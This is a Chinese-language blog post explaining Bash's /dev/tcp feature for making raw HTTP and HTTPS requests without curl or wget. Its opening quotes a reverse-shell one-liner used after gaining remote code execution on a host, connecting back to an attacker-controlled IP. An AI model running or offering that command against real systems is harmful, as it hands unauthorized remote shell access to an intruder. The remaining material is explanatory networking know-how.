前言
近期也是从反弹 Shell 的一个命令深入思考了一些东西,在日常我们通过某 RCE 拿到一台主机,往往会反弹一个 Shell 到你的远程机器上,命令可能如下:
/bin/bash -i >& /dev/tcp/192.168.0.10/2023 0>&1
而上述的 /dev/tcp
则是 Bash shell 中的一个特殊特性,它允许你通过简单地使用文件 I/O 来进行网络套接字通信。同样的还有 /dev/udp
这个基于 UDP 协议通信方式。
注意:/dev/tcp 这不是 POSIX 标准的一部分,并不是所有 Shell 都支持这个功能!若使用该特性,终端环境 SHELL 得是 Bash。
基于这个特性,接下来自己便联想了一下可不可以利用这个特性实现类似如 curl、wget 方式的 HTTP 请求呢?玩的就是真实,下面开始鼓捣。
模拟 HTTP 请求
此处就拿自己一个已部署的服务来简单测试,并进入服务器观察相关 WEB 日志,以便进一步判断请求。
对基于 80 端口的 HTTP 服务的模拟,下面先模拟一个简单的 HTTP 标头,命令如下:
[root@localhost ~]# echo -e "GET / HTTP/1.1\r\nHost: example.com\r\nUser-agent: curl/8.0.1\r\nConnection: close\r\n\r\n"
GET / HTTP/1.1
Host: example.com
User-agent: curl/8.0.1
Connection: close
[root@localhost ~]#
接下来,就是利用上述特性将内容发送到 /dev/tcp
套接字文件中去。
此时如果我们直接利用重定向符号将上述内容发送到套接字文件中去,则只是将 HTTP 请求标头信息发送到了服务器,此刻数据发完套接字就结束了链接,并没有将 HTTP 请求中的实际数据部分请求体发送到远端服务器,所以远端服务器可能会返回不完整的响应或错误响应。举个栗子吧:
[root@localhost ~]# echo -e "GET / HTTP/1.1\r\nHost: example.com\r\nUser-agent: curl/8.0.1\r\nConnection: close\r\n\r\n" > /dev/tcp/example.com/80
[root@localhost ~]#
可以看到什么都没显示,那么该怎么解决请求体部分数据呢?其实在这里我们可以借助一个文件描述符解决,涉及步骤命令如下:
1、开启一个可读写的文件描述符 3
并与指定的文件或设备文件关联,这样我们可以使用这个文件描述符来读取或写入数据到这个套接字连接:
[root@localhost ~]# exec 3<>/dev/tcp/example.com/80
2、将上述的 HTTP 标头请求信息发送到文件描述符 3
,如下:
[root@localhost ~]# echo -e "GET / HTTP/1.1\r\nHost: example.com\r\nUser-agent: curl/8.0.1\r\nConnection: close\r\n\r\n" >&3
3、然后再从文件描述符 3
中获取数据,即可发现成功请求了,HTTP 服务成功返回数据:
[root@localhost ~]# cat <&3
HTTP/1.1 200 OK
Date: Tue, 25 Jul 2023 06:06:40 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: close
Vary: Accept-Encoding
X-Powered-By: Oh, Your idea is dangerous!
Server: nginx/9.99.99
Cache-Control: no-cache
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
Access-Control-Allow-Methods: *
Access-Control-Max-Age: 3600
Access-Control-Allow-Credentials: true
a
36.33.5.3
0
[root@localhost ~]#
这里需要注意的一点就是,在 HTTP 服务未返回数据前,套接字文件不能够与远端 HTTP 服务提前断开链接,否则可能返回不完整的响应或错误响应。
上述命令可以简化成一行,如下:
exec 3<> /dev/tcp/example.com/80; echo -e "GET / HTTP/1.1\r\nHost: example.com\r\nUser-agent: curl/8.0.1\r\nConnection: close\r\n\r\n" >&3; cat <&3
上述命令使用到了自定义文件描述符 3
,那有没有一种方法不使用自己定义的描述符,只用 Linux 自带的三个描述符呢?答案是有的。
纯 Bash 模拟请求
此处自己也在一番摸索测试后,捣鼓出了一个只依赖三个描述符的命令,如下:
( echo -e "GET / HTTP/1.1\r\nHost: example.com\r\nUser-agent: curl/8.0.1\r\nConnection: close\r\n\r\n"; cat >&2 ) > /dev/tcp/example.com/80 <&1
命令效果如下:
[root@localhost ~]# ( echo -e "GET / HTTP/1.1\r\nHost: example.com\r\nUser-agent: curl/8.0.1\r\nConnection: close\r\n\r\n"; cat >&2 ) > /dev/tcp/example.com/80 <&1
HTTP/1.1 200 OK
Date: Tue, 25 Jul 2023 07:08:23 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: close
Vary: Accept-Encoding
X-Powered-By: Oh, Your idea is dangerous!
Server: nginx/9.99.99
Cache-Control: no-cache
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
Access-Control-Allow-Methods: *
Access-Control-Max-Age: 3600
Access-Control-Allow-Credentials: true
a
36.33.5.3
0
[root@localhost ~]#
可以发现此处只用到了错误输出描述符 2
和标准输出描述符 1
,却也达到了同样效果。
命令分析
上述命令简单拆分分析一下:
( …… )
: 这是一个命令组,将其中的命令作为一个单元执行。echo "……\r\n\r\n"
:这部分使用echo
命令来输出一个 HTTP 请求头,并要求在请求完成后关闭连接。cat >&2
:这部分将标准输入重定向到标准错误输出,即将后续的输入内容发送到标准错误流中(此处的cat
命令也可使用head
、tail
、more
、less
等命令替代)。> /dev/tcp/example.com/80
:这部分将前面整个命令组的输出重定向到/dev/tcp
套接字中。<&1
:这部分将标准输入重定向到标准输出,即将输入从标准输入流中复制到标准输出流中,这样它就会在命令组中被cat >&2
接收。
总之,这个命令的目的是通过纯 Bash 代码模拟一个简单的 HTTP GET 请求,将请求头发送到指定的主机和端口,并将响应从标准输入输出流通过标准错误流和 /dev/tcp
设备文件传输。输出的数据,在 HTTP 标头与 Response Body 之间存在字母 a
,在请求数据结尾还会有个 0
,这是因为此处的 a
表示一个 chunked 编码的响应。在 chunked 编码中,每一块(chunk) 数据前面会有该 chunk 的数据长度(以十六进制表示),此时 a
表示该 chunk 的长度为 10 个字节。而最后的 0
表示这个响应结束了,不再有更多 chunks 。在 chunked 编码中,0
表示后面不会有更多数据,cat 命令从标准输出读取完数据即结束了整个流程。
模拟 HTTPS 请求
上述基于 Bash 基本实现了一个 HTTP 请求,由于 HTTPS 涉及到 SSL/TLS 加密以及相关证书,故纯 Bash 则不能够完成任务了,若要完成,需借助 openssl
命令辅助了,此处仅列出一个测试命令,如下:
[root@localhost ~]# echo -e "GET / HTTP/1.1\r\nHost: example.com\r\nUser-agent: curl/8.0.1\r\nConnection: close\r\n\r\n" | openssl s_client -connect example.com:443 -quiet
depth=2 C = US, ST = New Jersey, L = Jersey City, O = The USERTRUST Network, CN = USERTrust RSA Certification Authority
verify return:1
depth=1 C = AT, O = ZeroSSL, CN = ZeroSSL RSA Domain Secure Site CA
verify return:1
depth=0 CN = 1.12.xx.1
verify return:1
HTTP/1.1 200 OK
Date: Tue, 25 Jul 2023 13:50:39 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: close
Vary: Accept-Encoding
X-Powered-By: Oh, Your idea is dangerous!
Server: nginx/9.99.99
Cache-Control: no-cache
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
Access-Control-Allow-Methods: *
Access-Control-Max-Age: 3600
Access-Control-Allow-Credentials: true
a
36.33.5.3
0
[root@localhost ~]#